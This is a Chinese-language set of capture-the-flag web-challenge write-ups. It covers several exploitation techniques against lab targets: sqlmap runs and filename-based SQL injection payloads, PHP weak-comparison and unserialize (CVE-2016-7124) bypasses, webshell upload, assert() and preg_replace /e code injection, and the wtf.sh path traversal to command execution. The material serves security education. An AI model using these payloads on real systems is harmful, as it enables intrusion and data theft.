题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
进入题目后,发现访问index.php会被跳转到index.php?id=1 而且还有写送分题,尝试sql注入无果,原来是一道脑洞题。
爆破id至id=2333,即得到flag。
2、怀疑serch
为注入点,尝试sql注入。将报文保存下来,用sqlmap跑一下,发现可以直接出结果。
(1)python2 sqlmap.py -r 1.txt --dbs
(2)python2 sqlmap.py -r 2.txt -D "news" -T "secret_table" -C "fl4g,id" --dump
疑问:
最后爆字段值的时候,如果只想得到fl4g
列的字段会报错:
python2 sqlmap.py -r 2.txt -D "news" -T "secret_table" -C "fl4g" --dump
发现此时sqlmap用的payload是:
search=123' UNION ALL SELECT NULL,CONCAT(CONCAT('qqkqq','vvlrAdZPyMyCbSOJTgUbVOnivbMBieHDoFAFmACG'),'qjvbq'),NULL-- qMtC
再根据报错信息,原因应该是联合查询注入字段间编码不同无法显示内容问题。
但是同时查询fl4g
和id
打开题目先注册,然后发现flag可以购买。但得先去买彩票赢得足够的钱,七位数字的彩票,猜中的位数越多,赢得的钱越多,因此应该在买彩票这里出了一些漏洞。
3、进行代码审计,问题出现在api.php
里的buy
函数,这个函数就是用来判断是否猜中:
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums(); //中将号码由随机数函数生成
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //这里用的'=='弱比较来判断每一位数是否猜中
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
$numbers
来自用户json
输入 {"action":"buy","numbers":"1234567"}
,没有检查数据类型。$win_numbers
是随机生成的数字字符串。"1"
为例,和TRUE
,1
,"1"
都相等。(4)由于 json 支持布尔型数据,因此可以抓包改包。
抓到的包如下:
改完数据之后:
这样改完之后,当函数在判断号码是否中奖时,每次都会判断ture是否等于某个随机数
,这样只要随机数不是0,都将成功判断。
这样多发包几次,就可以赢得足够的钱来购买flag了:
直接给了一个附件,里面是一段Javascript脚本,看起来有点奇怪,放在自己的环境里打开是一个输入框和一个提交按钮。
<script>
_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'< οnclick=$()>Ok>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';
for(Y in $=' ') with(_.split($[Y]))_=join(pop());
eval(_)
</script>
1、首先将最后的eval(_)
改为console.log(_)
,并用浏览器上的控制台运行这段代码,发现变量_
是一个函数:
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
var a=document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('');
delete _
2、审计代码,也就是在web100,也就是在一开始的输入框里输入的值要满足下面五个条件的判断才能执行下面的代码。
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
be0f23
e98aa
233ac
和c7be9
因为限制了字符串的长度,因此这里要利用重叠来构造长度为16且满足所有正则表达式的字符串。
构造如下:be0f233ac7be98aa
1、看名字就知道是一道反序列化的题目,打开网站看到:
2、将该类的对象序列化后为:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
每当序列化时都会执行__wakeup()
函数,而这里明显需要绕过__wakeup()
函数,通过CVE-2016-7124
来绕过,简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行。
3、最终的payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
1、进入题目,是一个上传界面,且只允许上传图片。
2、因为是前端检验,直接上传shell.jpg
,BurpSuite抓包改后缀为.php
。
4、再传入pass=system('cat ../flag.php');
,在源码里得到flag。
1、进入题目,在About
页面看到出题者使用了Git
,再通过扫描目录确认存在Git
泄露,利用GitHack工具得到源码。
2、源码里有flag.php
文件,但是里面并没有flag,代码审计,在index.php
里发现了问题。
//index.php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// I heard '..' is dangerous!
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
....................html code
require_once $file;
?>
3、发现assert()
函数里,有我们可控的参数$page
,而且并没有进行过滤,assert()
函数在验证断言之前将其参数解释为PHP代码。
因此构造如下payload:') or system('cat ./templates/flag.php');//
这样,注入后的语句就变成了:
assert("strpos('templates/ ') or system('cat ./templates/flag.php');// .php', '..') === false") or die("Detected hacking attempt!");
//
后面的语句则被注释掉了。
1、进入题目后,界面如下:
说实话,我卡了很久无从下手,最后得知是访问index.phps
页面,说是看源码,但我其实并没有看到什么…
2、访问index.phps
,看到如下源码:
if("admin"===$_GET[id]) {
echo("not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "Access granted!
";
echo "Key: xxxxxxx
";
}
?>
3、简单的代码审计,浏览器和代码都对传入的参数进行了对urldecode
,因此只要对传入的admin
进行两次urlencode
。
构造payload:index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
1、首先访问robots.txt
页面,发现提示了有/login.php
和/admin.php
两个页面。
2、在login.php
中F12发现:
于是尝试?debug
可以得到源码如下:
ob_start();
?>
-------------------------------------
html code
-------------------------------------
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "
Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
数据库查询的语句为:
SELECT id,name from Users where name='$id' and password='sha1($pass."Salz!")'
通过POST接收usr和pw参数,没有做任何过滤,带入sql查询。若查询的结果id字段不为空,则执行setcookie操作,会将查询的结果name字段插入到cookie中。
上述语句中的$user
是可控的,即login页面中id输入框中的内容,因此可以通过注入将后面的语句注释掉,这样子就可以进行注入。
1、先进入页面发现是一个登陆界面,注册账号进去之后是一个上传页面,上传一个文件之后会先返回成功上传并回显你的uid
。
然后再回到上传页面发现你上传的文件名会显示在页面上,这种情况判断是否由文件名导致xss或者文件名的注入,查看页面源码,发现文件名中的引号等符号会被转义,因此排除了xss。
并且通过回显的文件名可以判断,过滤了select
,from
等关键词(通过双写绕过),这样就明确了利用文件名进行注入。
2、注入可以有两种方式,即未知表的结构和已猜测到表的结构(某大佬writeup中)。
(1)当你不知道表的结构时,只能先大致推测后台的insert插入语句:
insert into 表名('filename',...) values('你上传的文件名',...);
这样可以构造下列文件名进行注入:
文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg
拼接后的sql语句为:
...values('文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg',...);
hex()
函数将字符串转换为16进制,而conv(str,16,10)
则将str由16进制再转换为10进制substr()
是因为当查询的字符串太长时,转换为10进制就会用科学记数法来表示,这样就没办法再转换为字符串了,因此需要用substr()
来将长字符串分段进行查询。通过这种方式,就可以一步步的查询到flag了。
全部payload:
(1)查询数据库:
lethe '+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg
返回:
131277325825392 转16进制再转字符得:web_up
lethe'+(selselectect conv(substr(hex(database()),13,12),16,10))+'.jpg
返回:
1819238756 转16进制再转字符得:load
拼接起来得知数据库名为:web_upload
(2)然后查表:
lethe'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
返回:
114784820031327 转16进制再转字符得:hello_
lethe'+(seleselectct+conv(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
返回:
112615676665705 转16进制再转字符得:flag_i
lethe'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg
返回:
126853610566245 转16进制再转字符得:s_here
拼接起来得知存放flag的表名为: hello_flag_is_here
(3)然后查这个表里有什么字段:
lethe'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
返回:
115858377367398 转16进制再转字符得:i_am_f
lethe'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg
返回:
7102823 转16进制再转字符得:lag
拼接起来得知存放flag的字段是:i_am_flag
(4)然后查询flag:
lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
返回:
36427215695199 转16进制再转字符得:!!_@m_
lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
返回:
92806431727430 转16进制再转字符得:Th.e_F
lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
返回:
560750951 转16进制再转字符得:!lag
拼起来之后得到flag: !!_@m_Th.e_F!lag
(2)第二种方式,当你已经猜出了表的结构得适合,那就很简单了,某位大佬的wp中写出了表的结构为:(filename,uid,uid)
先上传一个文件得到自己的uid
:
这样就可以构造:
文件名','uid','uid'),((database()),'uid','uid')#.jpg
拼接后为:
...values ('文件名','uid','uid'),((database()),'uid','uid')#.jpg ','uid','uid');
即:
...values ('文件名','uid','uid'),((database()),'uid','uid')
这样再插入的时候就会多插入一列,这样就可以进行注入了。
如payload:lethe','1665','1665'),((database()),'1665','1665')#.jpg
最终payload:(我的uid为1665)
(1)查表名
lethe','1665','1665'),(( selselectect group_concat(table_name) frfromom information_schema.tables where table_schema = 'web_upload'),'1665','1665')#.jpg
(2)查列名
lethe','1665','1665'),(( seselectlect group_concat(column_name) frfromom information_schema.columns where table_name= 'hello_flag_is_here' ),'1665','1665')#.jpg
(3)查flag
lethe','1665','1665'),(( seselectlect i_am_flag frfromom hello_flag_is_here),'1665','1665')#.jpg
1、进入页面,提示要求我们可以输入域名并进行请求,如下:
2、测试一下可以发现:
3、这里Django调试模式打开了,发现如果在输入框中值包含url编码,在?url=
中请求大于%7F
的字符都会造成Django报错。
5、报错信息非常多,大概看一下,可以发现环境信息:
可能觉得奇怪,是.php
的页面,却报python
的django debug
错误,所以,判断是一个PHP调用Python的站。
比赛时给了提示:RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
所以应该是PHP通过cURL向django的站发送数据,那边处理完再将数据传回。
那就看一下CURLmanul :
即使用@
进行文件传递,如果文件内容中有上述超出编码范围的字符,就会产生报错信息,实际上包含中文就会报错。
6、于是就继续在刚才的报错信息里找找看有没有比较关键的信息文件,先考虑数据库相关的,搜索关键词sql
,可以看到:
7、于是请求?url=@/opt/api/database.sqlite3
,又发现报错信息,在报错信息中搜索关键词ctf
就能看到flag。
1、进入页面后发现大部分功能都是装饰没用的,只有“设备维护中心”的页面可以进去,发现url变成了index.php?page=index
,并且页面上会显示index。
2、所以先考虑文件包含,很常用的payload了:
?page=php://filter/read=convert.base64-encode/resource=index.php
,base64解码后得到源码:
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
--------------------------html code--------------------------
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"> echo $page; die();?></p>
<br /><br /><br /><br />
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
}}
//方便的实现输å
¥è¾“出的功能,æ£åœ¨å¼€å‘ä¸çš„功能,åªèƒ½å†
部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "
Welcome My Admin !
";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
3、简单审计一下代码,重点在最后一部分:
首先要伪造X-Forwarded-For为127.0.0.1。
然后要以GET方法传入pat
、rep
、sub
三个参数,这三个参数的值分别作为preg_replace()
函数的参数preg_replace($pattern, $replacement, $subject)
,pattern
为要搜索的模式,replacement
为用于替换的字符串或字符串数组,subject
要进行搜索和替换的字符串或字符串数组。
pattern
参数可以使用一些PCRE修饰符,其中:
即/e
修正符使 preg_replace()
将replacement
参数当作 PHP 代码
4、这里我们三个参数都可控,那么构造payload:?pat=/Lethe/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=Lethe
,同时伪造X-Forwarded-For,即可看到flag在源码中。
1、进入页面后首先按它的要求注册一个用户,登陆进去之后,发现Manage功能只有admin账户才能访问:
2、主界面除了登陆和注册以外,还可以通过注册是输入的Username、Birthday和Address进行密码找回,在自己的账户上发现还有Personal页面会显示注册时的信息,且url中会有此账号的uid,尝试将uid改为1,发现并不可以…
3、于是使用找回密码功能对自己的账户进行密码找回,输入正确的信息(中途发现三个信息只要正确两个,就可以修改密码了,于是尝试了对admin的Birthday进行爆破,但也无果…),正确输入信息后进入如下页面:
然后输入要修改的密码并抓包,尝试把Username改为admin,发现成功:
4、登陆admin账号,访问manager功能显示IP Not allowed!
,将XXF伪造为127.0.0.1后即可
5、再源码中看到提示:?module=filemanage&do=???
,有module想到do应该时upload
,访问/index.php?module=filemanage&do=upload
可以看到一个上传页面
6、这里不仅对后缀进行了黑名单过滤,同时会检查文件的开头内容,所以不能以开头,可以用
来进行绕过,先以
jpg
后缀上传,抓包改后缀为php5
或php4
,即可看到flag。
1、进入页面后,是一个类似论坛系统,先注册个账号(注册的时候随手测试一下,存在admin账户),还发现网页的后缀是.wtf
。
2、根据以往的思路,论坛系统+存在admin,应该就是想办法以admin登陆了呗,尝试一番未果,试了几个功能,注意到url的形式有/profile.wtf?user=..
和/post.wtf?post=K8laH
有点像文件包含,测试发现存在目录跳转,可以任意读取文件。
4、/post.wtf?post=../../
发现所有的源码会被显示在网页上,搜索关键词flag:
源码如下,是一段bash脚本:
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo "${username}'s posts:
";
$ echo ""
;
$ get_users_posts "${username}" | while read -r post; do
$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$ echo "${post_slug} \">$(nth_line 2 "${post}" | htmlentities)";
$ done
$ echo "";
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi
</html>
稍微看一下,发现果然是以admin身份登陆,就能拿到flag1了。
5、于是抓包一下注册的账户,发现Cookie中有Token字段,应该是要通过文件读取拿到admin的Token进行伪造登陆:
源码中还提到了/users
目录,于是构造/post.wtf?post=../users
即可读到:
伪造Cookie成功登陆,看到flag1:
参考:https://github.com/ernw/ctf-writeups/tree/master/csaw2016/wtf.sh
下面就要获取flag2了,现在就只有再看看获取到的源码,发现如下代码,前面说了网站的后缀是.wtf
,解析wtf文件的源码如下:
max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page pathname
local pathname=$1
local cmd=
[[ ${pathname(-4)} = '.wtf' ]];
local can_execute=$;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ $ = ${line01} && ${can_execute} = 0 ]];
is_script=$;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'n'${line#$};
else
if [[ -n $cmd ]]
then
eval $cmd log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done ${pathname}
else
echo pMax include depth exceeded!p
fi
}
由上述代码可知,.wtf
扩展名的文件,内容若以$
开头,即可执行后面的命令。
再在post_functions.sh文件中看到reply功能的源码:
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}
在reply功能中,当你回复帖子时,会通过GET方式提交post参数传递帖子ID ,并且这个参数也存在目录遍历漏洞,这样就可以在我们想要的地方输出创建文件了。除此之外,该函数还会将用户名写入该文件中。
因此,我们可以注册一个以shell命令为用户名的账户,并使用reply功能将其写入创建的.wtf
文件,就可以进行命令执行。
该函数还在文件的第一行写了用户名。因此,如果我们只是注册了一个包含有效shell命令的用户名,并将其写入以.wtf结尾的文件到我们可以访问该文件的目录中,那么就会给我们执行代码。发现users_lookup目录没有包含.noread
文件,因此我们可以将.wtf文件写入users_lookup。
还有一点需要注意,在注册的时候,用户名中如果出现空格则会出现一些错误,可以用,
进行绕过,因此注册用户名为:${find,/,-iname,get_flag2}
的账户,在reply的时候抓包并修改post参数如下:
注意上面的%09
为水平制表符,必须要加上,否则会将名称解释为目录名称。
然后访问/users_lookup/lethe.wtf
得到:
最后,再注册一个用户名为$/usr/bin/get_flag2
的账户,重复上述步骤即可。
1、进入题目后给出了一个加密函数的源码,思路也直接告诉你了,逆出解密函数,将密文解密出来即可。
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
(2)大概审计一些代码,加密流程并不复杂,即:反转字符串 => 每个字符的ASCII加1 => base64编码 => 反转字符串 => rot13编码
所以解密流程反着来就行了,即:rot13解码 => 反转字符串 => base64解码 => 每个字符的ASCII加1 => 反转字符串
(对rot13编码过的字符串在进行一次rot13编码即为解码)
解密脚本如下:
//rot13解密=>字符串反转=>base64解密=>每个字符的ASCII减1=>反转字符串
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$_o = base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0<strlen($_o);$_0++){ //2.每个字符ascii+1
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
echo decode($miwen);
?>